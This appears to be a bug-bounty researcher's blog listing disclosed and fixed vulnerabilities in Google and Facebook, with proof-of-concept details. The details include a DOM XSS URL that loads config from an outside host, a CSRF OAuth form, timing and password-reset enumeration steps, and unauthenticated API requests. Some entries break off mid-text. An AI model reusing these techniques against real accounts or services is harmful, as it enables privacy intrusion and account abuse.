Hacking Monks

On http://XXX.XXX.XX.XX, there was a login portal over "/login.html" for Google Admins to access FS KVM Switch. The portal served as single console for multiple network server. The "/index.html" was not accessible without assigned authenticated cookies. Due to having default creds, a login was possible as the Admin which redirected to "/index.html", assuming a successful login was made. The interface showed an iframe within to list devices which was empty. I stopped my testing at this point because of the latency of the responses was really high, which gave me an indication that further testings with tools might result in server getting throttled. Timeline - Reported - 28-07-2024 Triaged - 29-07-2024 Accepted - 30-07-2024  ( 🎉  Nice catch! ) Fixed - 14-08-2024 Rewarded - 16-08-2024

 A hacker could have had the access to a BGP REST API server without any authorisation which was leading to leak of internal network info, devices info, network configuration and modification. Apart from that, there was a DOM XSS vulnerability in the target IP asset as well. POC - An IP address had a BGP server running on it. The access to it was an API service " Sonic Network Management APIs". These API calls could have been made without authorisation(access_token) and they were all listed with specifications on - " https://IP/ui/model.html". Endpoints such as - /ui/model.html?urls.primaryName=sonic-interface.yaml#/sonic-interface/get_sonic_interface_sonic_interface /ui/model.html?urls.primaryName=sonic-port.yaml#/sonic-port/get_sonic_port_sonic_port /ui/model.html?urls.primaryName=openconfig-lldp.yaml#/openconfig-lldp/get_openconfig_lldp_lldp_interfaces /ui/model.html?urls.primaryName=openconfig-platform.yaml#/openconfig-platform/get_openconfig_platform_components...

  During my recon, I came across a few Google owned IP assets which were running "restconfig" services hosted on Swagger-UI. Dawid Moczadło has written a detailed article here . POC - Three IP assets on -  "https://IP/ui" were vulnerable to DOM XSS on this endpoint - "/ui/model.html?configUrl=http://hackingmonks/test.json". The Swagger-UI did show the available API endpoints for the service but had authorisation in place(access_token was needed). During this period, I had found 4th asset which had the same vulnerability along with additional exploitation, which was reported in another ticket. The write-up can be found here ( Access to BGP server + DOM XSS ). Timeline - Reported - 22.05.2023 Triaged - 22.05.2023 The assets were no longer accessible to the public -  09.06.2023 Accepted - 07.06.2023 Rewarded - 13.06.2023 Google's date for the fix - 08.12.2023

 Because of an unfiltered response to an API call, it was possible for anyone to fetch hidden Blogger Profile Display name and Profile photo. POC - An endpoint going to - ========================================= GET https://blogger.googleapis.com/v3/blogs/target_blog_id/posts?fetchBodies=true&fetchImages=true&maxResults=69&view=VIEW_TYPE_UNSPECIFIED&key=[YOUR_API_KEY] HTTP/1.1 Authorization: Bearer [YOUR_ACCESS_TOKEN] ========================================= Would respond with the hidden Profile Display name and Profile photo as below - ========================================= "author": {     "id": "blogger_id",     "displayName": "blogger_name",     "url": "https://www.blogger.com/profile/blogger_id",     "image": {       "url": "//2.bp.blogspot.com/blogger_photo.jpg" } ========================================= Timeline - Reported - 31.01.2023 Triaged - 01.02.2023 Acc...

 A malicious user could have infer contact point ownership of any User regardless of victim's privacy settings and network relativity. POC - (attacker on a large network) Repeat the following request 500 times with target Email Address - ======================================== POST /login/device-based/regular/login/?login_attempt=1&next=https://www.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=https://www.instagram.com/accounts/signup/&state={"fbLoginKey":"XXX","fbLoginReturnURL":"/fxcal/disclosure/?next=/"}&scope=email&response_type=code,granted_scopes&locale=en_US&ret=login&fbapp_pres=0&logger_id=f952251a-c6c7-4721-9fa8-1ecc26f9c00d&tp=unspecified&cbt=1650191800804&lwv=100 HTTP/2 Host: www.facebook.com jazoest=21013&lsd=AVoLtTx7Lyg&api_key=124024574287414&cancel_url=https://www.instagram.com/accounts/signup/?error=access_denied&error_code=200&error_descr...

With a request response timing, it was possible to guess an Admin of a Page. POC -  1. As an Attacker go to your test Page role settings - https://m.facebook.com/pages/edit/admins/page_id 2. Add the Target Page Admin as any role on that Page. 3. Turn ON Burp Interceptor and click on the Cancel button to remove the Target Page Admin from the Pending Admins list. 4. Take the Request to Repeater Tab. 5. The Request will have an ID parameter "id=". Change it to the Target Page ID and repeat the Request. 6. Observe the Response timing. There will be a Maximum Response timing and Minimum Response timing. Repeat the Request several times to determine the Range. This Range will be default for your Internet and PC to guess the right Page Admins for any other Page. 7. Change the "id=" value with a Page ID where the Victim is not an Admin. Repeat the request to see that, the Response timing will be more than the Range we got before. This Range will be default for your Internet...

  By following the POC below, it was possible for a hacker to determine if a given Email Address or a Phone Number is connected to the given Facebook User or not, even when they are hidden by the User. POC - 1. Go to www.facebook.com and Click on "Forgot password". 2. Enter Target's Phone Number and click on "Search". 3. Select "Send code via SMS" and click on "Keep going". 4. Click on "Can't get code?". 5. Repeat step 3 and 4 at least six times. 6. Then click on "Aren't you". 7. Enter the Target's Facebook USERNAME and click on "Search". 8. Select "Send code via SMS" and click on "Keep going". 9. Click on "Cancel". 10. Click on "Forgot password". 11. Repeat step 8,9,10 again. This should trigger an error saying "Identify this account in another way". To double confirm, 12. Click on "Please try again". 13. Enter the Target's USERNAME and ...

 It was possible for an attacker to renew access to Apps which have expired for the victim without the victim's consent. CSRF   POC - <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://www.facebook.com/v2.3/dialog/oauth"> <input type="hidden" name="app&#95;id" value="XXX" /> <input type="hidden" name="auth&#95;type" value="" /> <input type="hidden" name="cbt" value="1622970398155" /> <input type="hidden" name="channel&#95;url" value="https&#58;&#47;&#47;staticxx&#46;facebook&#46;com&#47;x&#47;connect&#47;xd&#95;arbiter&#47;&#63;version&#61;46&#35;cb&#61;f11c70b8d77d13&amp;domain&#61;www&#46;jiosaavn&#46;com&amp;origin&#61;https&#37;3A&#37;2F&#37;2Fwww...

  By making a restricted API call, a malicious user could have identified the Business and the Fan Page of an approved Facebook App. POC - An API call made as - https://developers.facebook.com/tools/explorer/?method=GET&path=APP_ID?fields=  owner_business {link} &version=v10.0 will respond with - {"owner_business":{"link":"https:\/\/www.facebook.com\/FAN_PAGE_ID","id":"BUSINESS_ID"},"id":"APP_ID", Timeline - Reported - Tuesday, May 25, 2021 Marked as Duplicate - Wednesday, May 26, 2021  Fixed - Wednesday, July 13, 2022

  There was a deprecated API call which was still fetching deleted or changed user added website information. Even after applying "Profile Lock" feature. POC - An API call made like this "user_ID?fields=website" to the Graph servers, with a FB4A access token was responding with website information of the given User with the information which was deleted or modified. As -  { "website": "http://hackingmonks.net/", "id": "100006290410252" } Timeline - Reported -  Friday, April 9, 2021 Triaged -  Tuesday, April 13, 2021 Fixed -  Monday, May 24, 2021   Rewarded -  Friday, June 4, 2021